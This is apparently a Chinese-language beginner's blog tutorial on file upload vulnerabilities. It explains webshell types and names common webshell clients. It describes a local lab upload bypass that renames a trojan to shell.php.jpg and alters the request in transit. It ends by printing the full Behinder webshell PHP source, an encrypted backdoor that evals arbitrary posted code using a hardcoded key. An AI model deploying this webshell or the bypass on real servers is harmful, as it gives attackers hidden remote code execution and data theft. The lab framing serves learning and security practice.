文件上传这个功能是当下互联网中最常见的功能,我们现在所用的各种社交软件,很多时候需要用户上传文件到服务器,在服务器中进行保存。常见的例如个人头像,相册功能上传保存图片,邮件发送带附件等等功能。很多时候我们常人不会是想到一个简单的文件上传会出现一些漏洞,从而导致被攻击,盗取用户信息。
Webshell
简介
¡
问题在于,有的上传文件后,服务器对被上传的文件的处理和解释文件。就是说,服务器程序对用户上传的文件校验或者是过滤不严格,处理的逻辑做的不够安全,那么导致用户可以提交修改后的数据 (通常是
Webshell
),导致了非常严重的后果。
¡
Webshell
是通过服务器开放的端口获取服务器的某些权限。
webshell
又称脚本木马,一般分为大马、小马、一句话木马。大马,体积大、功能齐全、能够管理数据库、文件管理、对站点进行快速的信息收集,甚至能够提权。小马,一般而言,我们在上传文件的时候,会被限制上传的文件大小或是拦截的情况,那么我通过小马来上传大马,实现我们想要的功能。一句话木马,短小精悍、功能强大、隐蔽性好、使用客户端可以快速管理
webshell
。例如我们常见的:
Cknife
中国菜刀 、
antSword
中国蚁剑 、冰蝎动态二进制加密网站管理客户端、
weevely3
武器化。
首先搭建wamp64的服务器,各位大佬别骂,我就是练习两年半的小菜鸡,不只是一个wamp的服务器,小皮都可以的。
搭建好了之后 需要抓包软件,靶场 和webshell。
首先进行上传文件,一句话木马,将文件后缀添加为shell.php.jpg(我用的靶场只能上传文件格式为图片的)
通过抓包我们可以更改文件的后缀来更改文件的类型,
然后,我们用webshell进行对本地的服务器进行攻击!
那ok,文件上传的简单的例子就完事了!因为我用的是中国冰蝎,所以我就将自带的木马代码展示出来
<?php
@error_reporting(0);
session_start();
$key="e45e329feb5d925b";
$_SESSION['k']=$key;
session_write_close();
$post=file_get_contents("php://input");
if(!extension_loaded('openssl'))
{
$t="base64_"."decode";
$post=$t($post."");
for($i=0;$i<strlen($post);$i++) {
$post[$i] = $post[$i]^$key[$i+1&15];
}
}
else
{
$post=openssl_decrypt($post, "AES128", $key);
}
$arr=explode('|',$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p."");}}
@call_user_func(new C(),$params);
?>